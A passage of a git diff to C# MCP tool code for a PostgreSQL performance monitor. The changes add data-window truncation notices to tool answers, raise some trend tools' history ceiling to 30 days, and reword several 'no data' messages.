                 + "seeing it. An override row has no unit, context or description; read those off the "
                 + "server-wide setting of the same name.";
-            return node.ToJsonString(McpHelpers.JsonOptions);
+            var scoped = node.ToJsonString(McpHelpers.JsonOptions);
+            return notice.IsUnavailable ? DarlingMcpWindowNotice.WithoutKeys(scoped) : scoped;
         }
         catch (Exception ex) when (ex is not OperationCanceledException)
         {
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgSessionStatesTools.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgSessionStatesTools.cs
index 667f8d14d4..40700fdca0 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgSessionStatesTools.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgSessionStatesTools.cs
@@ -13,6 +13,7 @@
 using System.Text.Json;
 using System.Threading;
 using System.Threading.Tasks;
+using Microsoft.Extensions.Logging;
 using ModelContextProtocol.Server;
 using Npgsql;
 using PerformanceMonitor.Common;
@@ -220,6 +221,7 @@ public static async Task<string> GetPgSessionStates(
         [Description("Hours of history to analyze. Default 24.")] int hours_back = 24,
         [Description("Maximum sessions to return, horizon holders first then longest transaction. Default 25. See the tool's reading guide.")] int limit = 25,
         [Description(McpHelpers.AsOfDescription)] string? as_of = null,
+        ILogger? logger = null,
         CancellationToken cancellationToken = default)
     {
         var (resolved, error) = await DarlingServerResolver.ResolveOrErrorAsync(postgres, server_name, cancellationToken);
@@ -248,9 +250,13 @@ denominator is not an error path - it is what makes a healthy answer believable.
 
             if (rows.Count == 0)
             {
-                return await EmptyAsync(postgres, resolved.ServerId, resolved.ServerName, hours_back, captures, cancellationToken);
+                return await EmptyAsync(postgres, resolved.ServerId, resolved.ServerName, hours_back, captures, start, end, logger, cancellationToken);
             }
 
+            /* #4966: decided after the empty branch, whose not-collected answer carries no notice. */
+            var notice = await DarlingMcpWindowNotice.ReadForToolAsync(
+                postgres, "get_pg_session_states", resolved.ServerName, start, end, emptyAnswer: false, logger, cancellationToken);
+
             var holders = rows.Count(r => r.HorizonHolderSamples > 0 && !r.StateWasRedacted);
             var idleHolders = rows.Count(r => r.HorizonHolderSamples > 0 && r.IdleInTransactionSamples > 0
                                               && !r.StateWasRedacted);
@@ -322,10 +328,14 @@ out of six connections is a different instance from two out of four thousand. */
             })
             .ToList();
 
-            return JsonSerializer.Serialize(new
+            return DarlingMcpWindowNotice.Finish(JsonSerializer.Serialize(new
             {
                 server = resolved.ServerName,
                 hours_back,
+                /* #4966: the window floor, right after hours_back. */
+                effective_start = notice.EffectiveStart,
+                window_truncated = notice.WindowTruncated,
+                truncation_note = notice.TruncationNote,
                 status = "session_states",
                 /* The page's count under the page's name (#3594). */
                 sessions_returned = sessions.Count,
@@ -369,7 +379,7 @@ sessions look exactly like the harmful ones and are not. */
                          + "above cover only the sessions returned. Raise limit for the full picture."
                          : string.Empty),
                 sessions,
-            }, McpHelpers.JsonOptions);
+            }, McpHelpers.JsonOptions), notice);
         }
         catch (Exception ex) when (ex is not OperationCanceledException)
         {
@@ -388,7 +398,7 @@ sessions look exactly like the harmful ones and are not. */
     private static async Task<string> EmptyAsync(
         NpgsqlDataSource postgres, int serverId, string serverName, int hoursBack,
         DarlingPgSessionStatesReader.PgSessionStatesCaptureCounts captures,
-        CancellationToken cancellationToken = default)
+        DateTime start, DateTime end, ILogger? logger, CancellationToken cancellationToken = default)
     {
         var gated = await DarlingEngineCapability.NotCollectedStatusAsync(
             postgres, serverId, serverName, "pg_session_states", cancellationToken);
@@ -409,15 +419,33 @@ private static async Task<string> EmptyAsync(
 
         if (captures.CapturesTotal > 0)
         {
+            /* #4966: the all-clear carries the window floor beside its own hints; the unavailable answer below stays bare. */
+            var notice = await DarlingMcpWindowNotice.ReadForToolAsync(
+                postgres, "get_pg_session_states", serverName, start, end, emptyAnswer: true, logger, cancellationToken);
             return McpHelpers.Status(
                 "empty",
-                $"No session held a transaction open past the collector's floor on {serverName} in the last "
-                + $"{hoursBack} hour(s), across {captures.CapturesTotal} capture(s). This is the healthy "
-                + "state and a real all-clear rather than missing data - the collector stores nothing when "
-                + "every transaction is short. One caveat that is not a hedge: this samples at the "
-                + "collection interval, so a transaction that opened and closed between two samples is "
-                + "genuinely invisible here.",
-                hints);
+                McpHelpers.QuietUnlessCut(
+                    notice.WindowTruncated, notice.EffectiveStart,
+                    factual: $"No session held a transaction open past the collector's floor on {serverName} in the last "
+                        + $"{hoursBack} hour(s), across {captures.CapturesTotal} capture(s)",
+                    coveredClaim: ". This is the healthy "
+                        + "state and a real all-clear rather than missing data - the collector stores nothing when "
+                        + "every transaction is short.",
+                    tail: " One caveat that is not a hedge: this samples at the "
+                        + "collection interval, so a transaction that opened and closed between two samples is "
+                        + "genuinely invisible here."),
+                notice.IsUnavailable ? hints : new
+                {
+                    hints.server,
+                    hints.hours_back,
+                    hints.captures_in_window,
+                    hints.captures_with_sessions,
+                    hints.first_capture_at,
+                    hints.last_capture_at,
+                    effective_start = notice.EffectiveStart,
+                    window_truncated = notice.WindowTruncated,
+                    truncation_note = notice.TruncationNote,
+                });
         }
 
         return McpHelpers.Status(
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgStatementTools.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgStatementTools.cs
index 8405cbd7e2..854148e123 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgStatementTools.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgStatementTools.cs
@@ -13,6 +13,7 @@
 using System.Text.Json;
 using System.Threading;
 using System.Threading.Tasks;
+using Microsoft.Extensions.Logging;
 using ModelContextProtocol.Server;
 using Npgsql;
 using PerformanceMonitor.Common;
@@ -34,6 +35,7 @@ public static async Task<string> GetPgTopQueries(
         [Description("Hours of history to analyze. Default 24.")] int hours_back = 24,
         [Description("Maximum query shapes to return, heaviest first. Default 20. Bounds the page: read truncated to know whether more exist; shares stay of the whole window regardless.")] int limit = 20,
         [Description(McpHelpers.AsOfDescription)] string? as_of = null,
+        ILogger? logger = null,
         CancellationToken cancellationToken = default)
     {
         var (resolved, error) = await DarlingServerResolver.ResolveOrErrorAsync(postgres, server_name, cancellationToken);
@@ -79,14 +81,18 @@ reporting it when somebody acts on the advice. */
                         + "not installed by default, and on some clusters it exists only in the application "
                         + "database, not in postgres. Also expect an empty window from a SINGLE snapshot: the "
                         + "counters here are per-interval deltas, so the first collection after a restart has "
-                        + "nothing to difference against and the window fills on the second. Otherwise the "
-                        + "store has not recorded this server's engine yet, and a target it cannot classify may "
-                        + "not be a PostgreSQL one at all — check list_servers.");
+                        + "nothing to difference against and the window fills on the second. If the server is "
+                        + "offline, nothing is being collected from it. Otherwise the store has not yet learned "
+                        + "that it is a PostgreSQL server — check list_servers.");
             }
 
             var evictions = await DarlingPgStatementReader.GetEvictionInfoAsync(
                 postgres, resolved.ServerId, now.AddHours(-hours_back), now, cancellationToken);
-            return BuildTopQueriesJson(resolved.ServerName, hours_back, page, limit, evictions);
+            /* #4966: where the store's coverage of the window starts, probed on the source the web's note probes. Decided after the
+               not-collected branch above, which carries no notice. */
+            var notice = await DarlingMcpWindowNotice.ReadForToolAsync(
+                postgres, "get_pg_top_queries", resolved.ServerName, now.AddHours(-hours_back), now, emptyAnswer: false, logger, cancellationToken);
+            return BuildTopQueriesJson(resolved.ServerName, hours_back, page, limit, evictions, notice);
         }
         catch (Exception ex) when (ex is not OperationCanceledException)
         {
@@ -142,8 +148,10 @@ internal static string BuildTopQueriesJson(
         int hoursBack,
         DarlingPgStatementReader.PgTopQueriesPage page,
         int limit,
-        DarlingPgStatementReader.PgEvictionInfo? evictionInfo = null)
+        DarlingPgStatementReader.PgEvictionInfo? evictionInfo = null,
+        McpWindowNotice? windowNotice = null)
     {
+        var notice = windowNotice ?? McpWindowNotice.Unavailable;
         var truncated = page.Rows.Count > limit;
         var rows = truncated ? page.Rows.Take(limit).ToList() : page.Rows;
 
@@ -205,10 +213,14 @@ the local_blks_* family and a different problem. */
         })
         .ToList();
 
-        return JsonSerializer.Serialize(new
+        return DarlingMcpWindowNotice.Finish(JsonSerializer.Serialize(new
         {
             server = serverName,
             hours_back = hoursBack,
+            /* #4966: the window floor, right after hours_back. */
+            effective_start = notice.EffectiveStart,
+            window_truncated = notice.WindowTruncated,
+            truncation_note = notice.TruncationNote,
             /* #3541 A3 dialect: the page described as a page. No time bounds — the rows are per-shape
                aggregates over the whole window, so there is no page reach to report, only a cap. */
             queries_returned = result.Count,
@@ -232,7 +244,7 @@ letting someone assume max_exec_time_ms is a windowed total. */
                  + "(truncated = false). returned_exec_time_ms is what the rows returned add up to.",
             evictions = BuildEvictions(evictionInfo),
             queries = result,
-        }, McpHelpers.JsonOptions);
+        }, McpHelpers.JsonOptions), notice);
     }
 
     /// <summary>
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgTrendTools.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgTrendTools.cs
index 10f5961293..74c2625844 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgTrendTools.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgTrendTools.cs
@@ -255,7 +255,7 @@ statement that does not exist. */
         }
     }
 
-    [McpServerTool(Name = "get_pg_io_trend"), Description("Gets a time series for ONE PostgreSQL (backend_type, context) pair from pg_stat_io: read/write/extend rates per second, cache-hit ratio, per-op latency, bucketed to as_of. Requires PostgreSQL 16+. avg_read_ms/avg_write_ms are null, never 0.000, when track_io_timing is off. Write fields are null, not 0, on Amazon Aurora (no write counters). Byte rates: measured (18+), estimated (earlier), or null. Empty: no pair was active, or the window holds one snapshot (a trend needs two to difference). A point spanning a stats reset reports everything since the reset, not a quiet interval. <<GUIDE>> Gets a time series for ONE PostgreSQL (backend_type, context) pair from pg_stat_io, in time buckets: read, write and extend rates per second, the buffer-cache hit ratio for each point, and per-operation latency where the server measures it. Use get_pg_io_stats first to see which combinations are busy, then this to see whether one is growing or slowing. The subject is a PAIR because a hit ratio summed across contexts is meaningless - bulkread is a sequential scan deliberately bypassing the buffer pool with a ring buffer, so averaging its misses with the normal context's understates both and they have opposite remedies. Object types are summed together, which cannot distort the ratio because WAL rows report no buffer hits. Reports whether the server tracks I/O TIMING at all: track_io_timing is OFF by default in PostgreSQL, and its zero read_time would otherwise divide out to a latency of 0.000 ms that reads as an impossibly fast disk rather than an unmeasured one. Also reports whether byte volumes are MEASURED (PostgreSQL 18's read_bytes/write_bytes) or ESTIMATED as operations x block size (pre-18) - the two are different quantities and 18 moves several blocks per operation, so the older estimate undercounts there. Write counters are null rather than zero on Amazon Aurora, where backends do not write data files. A point holding an interval that spans a pg_stat_reset_shared('io') or a restart is flagged and reports everything since the reset, rather than the quiet interval that clamping the difference at zero would show. Requires PostgreSQL 16 or later; valid on a standby. On backend_type: Naming this alone follows the busiest CONTEXT for that backend; omit both to follow whichever pair moved the most I/O.")]
+    [McpServerTool(Name = "get_pg_io_trend"), Description("Gets a time series for ONE PostgreSQL (backend_type, context) pair from pg_stat_io: read/write/extend rates per second, cache-hit ratio, per-op latency, bucketed to as_of. Requires PostgreSQL 16+. avg_read_ms/avg_write_ms are null, never 0.000, when track_io_timing is off. Write fields are null, not 0, on Amazon Aurora (no write counters). Byte rates: measured (18+), estimated (earlier), or null. Empty: no pair was active, or the window holds one snapshot (a trend needs two to difference). A point spanning a stats reset reports everything since the reset, not a quiet interval. <<GUIDE>> Gets a time series for ONE PostgreSQL (backend_type, context) pair from pg_stat_io, in time buckets: read, write and extend rates per second, the buffer-cache hit ratio for each point, and per-operation latency where the server measures it. hours_back reaches 720 (30 days). Use get_pg_io_stats first to see which combinations are busy, then this to see whether one is growing or slowing. The subject is a PAIR because a hit ratio summed across contexts is meaningless - bulkread is a sequential scan deliberately bypassing the buffer pool with a ring buffer, so averaging its misses with the normal context's understates both and they have opposite remedies. Object types are summed together, which cannot distort the ratio because WAL rows report no buffer hits. Reports whether the server tracks I/O TIMING at all: track_io_timing is OFF by default in PostgreSQL, and its zero read_time would otherwise divide out to a latency of 0.000 ms that reads as an impossibly fast disk rather than an unmeasured one. Also reports whether byte volumes are MEASURED (PostgreSQL 18's read_bytes/write_bytes) or ESTIMATED as operations x block size (pre-18) - the two are different quantities and 18 moves several blocks per operation, so the older estimate undercounts there. Write counters are null rather than zero on Amazon Aurora, where backends do not write data files. A point holding an interval that spans a pg_stat_reset_shared('io') or a restart is flagged and reports everything since the reset, rather than the quiet interval that clamping the difference at zero would show. Requires PostgreSQL 16 or later; valid on a standby. On backend_type: Naming this alone follows the busiest CONTEXT for that backend; omit both to follow whichever pair moved the most I/O.")]
     public static Task<string> GetPgIoTrend(
         NpgsqlDataSource postgres,
         [Description("Server name or display name.")] string? server_name = null,
@@ -280,7 +280,8 @@ internal static async Task<string> GetPgIoTrend(
         var (resolved, error) = await DarlingServerResolver.ResolveOrErrorAsync(postgres, server_name, cancellationToken);
         if (error != null) return error;
 
-        var validation = McpHelpers.ValidateWindow(hours_back, as_of, out var windowEnd);
+        /* #5562: reaches the raw table's 30-day retention (720 h); 7.4 s at 30 days on a large store. The ceiling is the WebReadReach row. */
+        var validation = McpHelpers.ValidateWindow(hours_back, as_of, WebReadReach.MaxHoursFor("get_pg_io_trend"), out var windowEnd);
         if (validation != null) return validation;
 
         var bucketError = TrendBuckets.Resolve(hours_back, bucket_minutes, 1, budget, out var bucketMinutes);
@@ -518,7 +519,7 @@ survives the bucket. The latency peak is nulled on the same rule as avg_read_ms.
         }
     }
 
-    [McpServerTool(Name = "get_pg_database_trend"), Description("Gets a time series for ONE PostgreSQL database from pg_stat_database: temp-file spills, cache-hit ratio, deadlocks and rollback share, bucketed to as_of. Differenced per interval - the raw counters are cumulative, and a real cliff averages out otherwise. cache_hit_pct/rollback_pct are null, not 0, on an interval with no accesses or no completed transactions. deadlocks is a COUNT per point, not a rate. A point spanning a stats reset reports everything since, never a quiet interval. Empty: wrong name, only one snapshot so far, or none in the window - the message says which. <<GUIDE>> Gets a time series for ONE PostgreSQL database from pg_stat_database, in time buckets: temp-file spills, the buffer-cache hit ratio (with each bucket's worst interval), deadlocks and the rollback share. This is where the cache hit ratio becomes usable at all - pg_stat_database's counters are cumulative since the last reset, so the ratio computed from them raw is a lifetime average that barely moves, and a database that fell off a cliff an hour ago still reports 99% because of the weeks behind it. Differenced per interval, the cliff is visible. Temp files are the same story: 'this database spilled 40 GB this week' does not say whether it was one bad afternoon or a steady leak, and the two have different fixes. Deadlocks are reported as a COUNT per point rather than a rate, because they are discrete server-recorded events. Omit database to follow the biggest temp-file spiller. PostgreSQL's shared-relations row - the cluster-wide catalog, which has a NULL database name - is followable by passing '(shared relations)' but is never chosen automatically. A point holding an interval that spans a pg_stat_reset or a crash restart is flagged and reports everything since the reset, rather than the quiet interval that clamping the difference at zero would show. Works on every PostgreSQL major and on a standby, where sorts spill exactly the way they do on a writer.")]
+    [McpServerTool(Name = "get_pg_database_trend"), Description("Gets a time series for ONE PostgreSQL database from pg_stat_database: temp-file spills, cache-hit ratio, deadlocks and rollback share, bucketed to as_of. Differenced per interval - the raw counters are cumulative, and a real cliff averages out otherwise. cache_hit_pct/rollback_pct are null, not 0, on an interval with no accesses or no completed transactions. deadlocks is a COUNT per point, not a rate. A point spanning a stats reset reports everything since, never a quiet interval. Empty: wrong name, only one snapshot so far, or none in the window - the message says which. <<GUIDE>> Gets a time series for ONE PostgreSQL database from pg_stat_database, in time buckets: temp-file spills, the buffer-cache hit ratio (with each bucket's worst interval), deadlocks and the rollback share. hours_back reaches 720 (30 days). This is where the cache hit ratio becomes usable at all - pg_stat_database's counters are cumulative since the last reset, so the ratio computed from them raw is a lifetime average that barely moves, and a database that fell off a cliff an hour ago still reports 99% because of the weeks behind it. Differenced per interval, the cliff is visible. Temp files are the same story: 'this database spilled 40 GB this week' does not say whether it was one bad afternoon or a steady leak, and the two have different fixes. Deadlocks are reported as a COUNT per point rather than a rate, because they are discrete server-recorded events. Omit database to follow the biggest temp-file spiller. PostgreSQL's shared-relations row - the cluster-wide catalog, which has a NULL database name - is followable by passing '(shared relations)' but is never chosen automatically. A point holding an interval that spans a pg_stat_reset or a crash restart is flagged and reports everything since the reset, rather than the quiet interval that clamping the difference at zero would show. Works on every PostgreSQL major and on a standby, where sorts spill exactly the way they do on a writer.")]
     public static Task<string> GetPgDatabaseTrend(
         NpgsqlDataSource postgres,
         [Description("Server name or display name.")] string? server_name = null,
@@ -542,7 +543,8 @@ internal static async Task<string> GetPgDatabaseTrend(
         var (resolved, error) = await DarlingServerResolver.ResolveOrErrorAsync(postgres, server_name, cancellationToken);
         if (error != null) return error;
 
-        var validation = McpHelpers.ValidateWindow(hours_back, as_of, out var windowEnd);
+        /* #5562: reaches the raw table's 30-day retention (720 h); 2.3 s at 30 days on a large store. The ceiling is the WebReadReach row. */
+        var validation = McpHelpers.ValidateWindow(hours_back, as_of, WebReadReach.MaxHoursFor("get_pg_database_trend"), out var windowEnd);
         if (validation != null) return validation;
 
         var bucketError = TrendBuckets.Resolve(hours_back, bucket_minutes, 1, budget, out var bucketMinutes);
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgWaitSamplingTools.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgWaitSamplingTools.cs
index d61a571848..2256dfc87c 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgWaitSamplingTools.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgWaitSamplingTools.cs
@@ -13,6 +13,7 @@
 using System.Text.Json;
 using System.Threading;
 using System.Threading.Tasks;
+using Microsoft.Extensions.Logging;
 using ModelContextProtocol.Server;
 using Npgsql;
 using PerformanceMonitor.Collectors;
@@ -69,6 +70,7 @@ public static async Task<string> GetPgWaitSampling(
         [Description("Hours of history to analyze. Default 24.")] int hours_back = 24,
         [Description("Maximum rows to return, most samples first. Default 20. This is what bounds the page - read truncated to know whether the window held more; the shares stay of the whole window whatever this is set to.")] int limit = 20,
         [Description(McpHelpers.AsOfDescription)] string? as_of = null,
+        ILogger? logger = null,
         CancellationToken cancellationToken = default)
     {
         var (resolved, error) = await DarlingServerResolver.ResolveOrErrorAsync(postgres, server_name, cancellationToken);
@@ -99,21 +101,43 @@ rather than left to wonder whether the extension tier was ever in play. */
                    extension that is not installed — which is the LIKELY one here, because
                    pg_wait_sampling needs shared_preload_libraries and a server restart, so an operator
                    who has not done that gets told what to do rather than shown a blank. */
-                return await DarlingEngineCapability.NotCollectedStatusAsync(
+                var bare = await DarlingEngineCapability.NotCollectedStatusAsync(
                     postgres, resolved.ServerId, resolved.ServerName, "pg_wait_sampling", cancellationToken)
                     ?? await DarlingRuntimePrecondition.StatusAsync(
-                        postgres, resolved.ServerId, resolved.ServerName, "pg_wait_sampling", cancellationToken)
-                    ?? McpHelpers.Status(
+                        postgres, resolved.ServerId, resolved.ServerName, "pg_wait_sampling", cancellationToken);
+                if (bare is not null)
+                {
+                    return bare;
+                }
+
+                /* #4966: where the store's coverage of the window starts, probed on the web's own source for this read (WebDataStartNote).
+                   Rows are windowed on collection_time over [start, now], the probe's column. A data answer over 90 minutes or less starts
+                   no probe; a failed probe costs the notice, never the rows. */
+                var emptyStart = windowEnd.AddHours(-hours_back);
+                var emptyNotice = await DarlingMcpWindowNotice.ReadForToolAsync(
+                    postgres, "get_pg_wait_sampling", resolved.ServerName, emptyStart, windowEnd, emptyAnswer: true, logger, cancellationToken);
+
+                return McpHelpers.Status(
                         "empty",
-                        $"No sampled waits for {resolved.ServerName} in the last {hours_back} hour(s). The "
-                        + "figures here are per-interval deltas, so a single collection has nothing to "
-                        + "difference against and the window fills on the second one. On a genuinely idle "
-                        + "server this is the healthy state: the profiler samples backends, and an idle "
-                        + "server has none to sample."
-                        + DescribeInstrumentForEmpty(instrument));
+                        McpHelpers.QuietUnlessCut(
+                            emptyNotice.WindowTruncated, emptyNotice.EffectiveStart,
+                            factual: $"No sampled waits for {resolved.ServerName} in the last {hours_back} hour(s). The "
+                                + "figures here are per-interval deltas, so a single collection has nothing to "
+                                + "difference against and the window fills on the second one",
+                            coveredClaim: ". On a genuinely idle "
+                                + "server this is the healthy state: the profiler samples backends, and an idle "
+                                + "server has none to sample.",
+                            tail: DescribeInstrumentForEmpty(instrument, windowTruncated: emptyNotice.WindowTruncated)),
+                        emptyNotice.AsHints());
             }
 
-            return BuildWaitSamplingJson(resolved.ServerName, hours_back, page, limit, instrument);
+            /* #4966: where the store's coverage of the window starts, probed on the web's own source for this read (WebDataStartNote).
+               Rows are windowed on collection_time over [start, now], the probe's column. A data answer over 90 minutes or less starts
+               no probe; a failed probe costs the notice, never the rows. */
+            var windowStart = windowEnd.AddHours(-hours_back);
+            var notice = await DarlingMcpWindowNotice.ReadForToolAsync(
+                postgres, "get_pg_wait_sampling", resolved.ServerName, windowStart, windowEnd, emptyAnswer: false, logger, cancellationToken);
+            return BuildWaitSamplingJson(resolved.ServerName, hours_back, page, limit, instrument, notice);
         }
         catch (Exception ex) when (ex is not OperationCanceledException)
         {
@@ -126,7 +150,8 @@ rather than left to wonder whether the extension tier was ever in play. */
     /// that is what is sampling, nothing when the extension is (its idle answer needs no qualification), and a
     /// plain "not yet recorded" when no cycle has stated an arm.
     /// </summary>
-    internal static string DescribeInstrumentForEmpty(DarlingPgWaitSamplingReader.WaitInstrumentState? instrument)
+    internal static string DescribeInstrumentForEmpty(
+        DarlingPgWaitSamplingReader.WaitInstrumentState? instrument, bool windowTruncated = false)
     {
         if (instrument is null)
         {
@@ -136,7 +161,9 @@ internal static string DescribeInstrumentForEmpty(DarlingPgWaitSamplingReader.Wa
 
         return string.Equals(instrument.Instrument, PgWaitInstrument.ServiceSampled, StringComparison.Ordinal)
             ? " This server is on the service_sampled tier (the pg_wait_sampling extension is not installed), "
-              + "so \"none to sample\" was measured over one-second polls in a 30-second window each cycle. "
+              + (windowTruncated
+                  ? "so an empty sample is measured over one-second polls in a 30-second window each cycle. "
+                  : "so \"none to sample\" was measured over one-second polls in a 30-second window each cycle. ")
               + PgWaitInstrument.ServiceSampledCaveat
             : string.Empty;
     }
@@ -160,7 +187,8 @@ internal static string BuildWaitSamplingJson(
         int hoursBack,
         DarlingPgWaitSamplingReader.PgWaitSamplingPage page,
         int limit,
-        DarlingPgWaitSamplingReader.WaitInstrumentState? instrument = null)
+        DarlingPgWaitSamplingReader.WaitInstrumentState? instrument = null,
+        McpWindowNotice? notice = null)
     {
         /* #3604: an unrecognised token is not echoed as an instrument - a future arm this build does not know
            reads as unknown, which is the honest word, rather than as a grain the caller might act on. */
@@ -196,10 +224,13 @@ that joins to nothing. */
         })
         .ToList();
 
-        return JsonSerializer.Serialize(new
+        var json = JsonSerializer.Serialize(new
         {
             server = serverName,
             hours_back = hoursBack,
+            effective_start = notice?.EffectiveStart,
+            window_truncated = notice?.WindowTruncated,
+            truncation_note = notice?.TruncationNote,
             /* #3541 A3 dialect: the page described as a page. No time bounds — each row is one series
                differenced across the whole window, so there is no page reach to report, only a cap. */
             waits_returned = waits.Count,
@@ -249,5 +280,6 @@ every number below means and a reader comparing two servers must see it first. *
                      : string.Empty),
             waits,
         }, McpHelpers.JsonOptions);
+        return notice is null || notice.Value.IsUnavailable ? DarlingMcpWindowNotice.WithoutKeys(json) : json;
     }
 }
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgWaitTools.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgWaitTools.cs
index d8033e7709..25101e076f 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgWaitTools.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgWaitTools.cs
@@ -16,6 +16,7 @@
 using Npgsql;
 using PerformanceMonitor.Collectors;
 using PerformanceMonitor.Common;
+using Microsoft.Extensions.Logging;
 using PerformanceMonitor.Darling.Storage;
 
 namespace PerformanceMonitor.Darling.Service.Mcp;
@@ -33,6 +34,7 @@ public static async Task<string> GetPgWaitStats(
         [Description("Hours of history to analyze. Default 24.")] int hours_back = 24,
         [Description("Maximum wait events to return, heaviest total wait first. Default 20. This is what bounds the page - read truncated to know whether the window held more; the shares stay of the whole window.")] int limit = 20,
         [Description(McpHelpers.AsOfDescription)] string? as_of = null,
+        ILogger? logger = null,
         CancellationToken cancellationToken = default)
     {
         var (resolved, error) = await DarlingServerResolver.ResolveOrErrorAsync(postgres, server_name, cancellationToken);
@@ -67,13 +69,19 @@ capability answer has already ruled out. */
                     postgres, resolved.ServerId, resolved.ServerName, "pg_wait_stats", cancellationToken)
                     ?? McpHelpers.Status(
                         "unavailable",
-                        "No PostgreSQL wait data for this server and window. On Aurora, the pg_wait_stats "
-                        + "collector may not have completed a cycle yet. Otherwise the store has not "
-                        + "recorded this server's engine yet, and a target it cannot classify may not be a "
-                        + "PostgreSQL one at all — check list_servers.");
+                        "No PostgreSQL wait data for this server and window. If the server is offline, nothing "
+                        + "is being collected from it. On Aurora, the pg_wait_stats collector may not have "
+                        + "completed a cycle yet. Otherwise the store has not yet learned that it is a "
+                        + "PostgreSQL server — check list_servers.");
             }
 
-            return BuildWaitStatsJson(resolved.ServerName, hours_back, page, limit);
+            /* #4966: where the store's coverage of the window starts. The probe is the web's source for this read (WebDataStartNote), the
+               rows are windowed on collection_time over [start, now], the probe's own column. The empty answer above is unavailable and
+               stays bare. A data answer over 90 minutes or less starts no probe; a failed probe costs the notice, never the rows. */
+            var windowStart = now.AddHours(-hours_back);
+            var notice = await DarlingMcpWindowNotice.ReadForToolAsync(
+                postgres, "get_pg_wait_stats", resolved.ServerName, windowStart, now, emptyAnswer: false, logger, cancellationToken);
+            return BuildWaitStatsJson(resolved.ServerName, hours_back, page, limit, notice);
         }
         catch (Exception ex) when (ex is not OperationCanceledException)
         {
@@ -98,7 +106,8 @@ internal static string BuildWaitStatsJson(
         string serverName,
         int hoursBack,
         DarlingPgWaitReader.PgWaitStatsPage page,
-        int limit)
+        int limit,
+        McpWindowNotice? notice = null)
     {
         var truncated = page.Rows.Count > limit;
         var rows = truncated ? page.Rows.Take(limit).ToList() : page.Rows;
@@ -120,10 +129,13 @@ internal static string BuildWaitStatsJson(
         })
         .ToList();
 
-        return JsonSerializer.Serialize(new
+        var json = JsonSerializer.Serialize(new
         {
             server = serverName,
             hours_back = hoursBack,
+            effective_start = notice?.EffectiveStart,
+            window_truncated = notice?.WindowTruncated,
+            truncation_note = notice?.TruncationNote,
             /* #3541 A3 dialect: the page described as a page. No time bounds — the rows are per-event
                aggregates over the whole window, so there is no page reach to report, only a cap. */
             wait_events_returned = result.Count,
@@ -150,5 +162,6 @@ internal static string BuildWaitStatsJson(
                  + "returned_wait_time_ms is what the rows returned add up to.",
             waits = result,
         }, McpHelpers.JsonOptions);
+        return notice is null || notice.Value.IsUnavailable ? DarlingMcpWindowNotice.WithoutKeys(json) : json;
     }
 }
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgWraparoundTools.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgWraparoundTools.cs
index 1aa0c75a69..63ce85ecd4 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgWraparoundTools.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgWraparoundTools.cs
@@ -106,10 +106,11 @@ here would repeat a branch that can no longer reach this line. */
                     postgres, resolved.ServerId, resolved.ServerName, "pg_wraparound_stats", cancellationToken)
                     ?? McpHelpers.Status(
                         "unavailable",
-                        "No PostgreSQL freeze-headroom data for this server and window. This collector runs on "
-                        + "any PostgreSQL target, so either pg_wraparound_stats has not collected yet, or the "
-                        + "store has not recorded this server's engine — and a target it cannot classify may "
-                        + "not be a PostgreSQL one at all. Check list_servers.");
+                        /* W6 (release walk): said in plain words, offline first. An offline server collects nothing, so an
+                           empty window is the likeliest reason; the store-internal engine wording is gone. */
+                        "No PostgreSQL freeze-headroom data for this server and window. If the server is offline, "
+                        + "nothing is being collected from it. Otherwise this collector has not run on it yet, or the "
+                        + "store has not yet learned that it is a PostgreSQL server. Check list_servers.");
             }
 
             var databases = rows
diff --git a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgXminTools.cs b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgXminTools.cs
index 730d59b10c..ad49e61cd8 100644
--- a/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgXminTools.cs
+++ b/Darling/PerformanceMonitor.Darling.Service/Mcp/DarlingMcpPgXminTools.cs
@@ -12,6 +12,7 @@
 using System.Text.Json;
 using System.Threading;
 using System.Threading.Tasks;
+using Microsoft.Extensions.Logging;
 using ModelContextProtocol.Server;
 using Npgsql;
 using PerformanceMonitor.Common;
@@ -63,6 +64,7 @@ public static async Task<string> GetPgXminHorizon(
         [Description("Server name or display name.")] string? server_name = null,
         [Description("Hours of history to analyze, used for the persistence figures. Default 24.")] int hours_back = 24,
         [Description(McpHelpers.AsOfDescription)] string? as_of = null,
+        ILogger? logger = null,
         CancellationToken cancellationToken = default)
     {
         var (resolved, error) = await DarlingServerResolver.ResolveOrErrorAsync(postgres, server_name, cancellationToken);
@@ -99,6 +101,7 @@ holding back the xmin horizon" is a confident all-clear about a mechanism that d
                    that never ran in this window leaves behind. The capture count is the witness. */
                 if (capturesInWindow == 0)
                 {
+                    /* "unavailable" says nothing is known about the window and stays bare. */
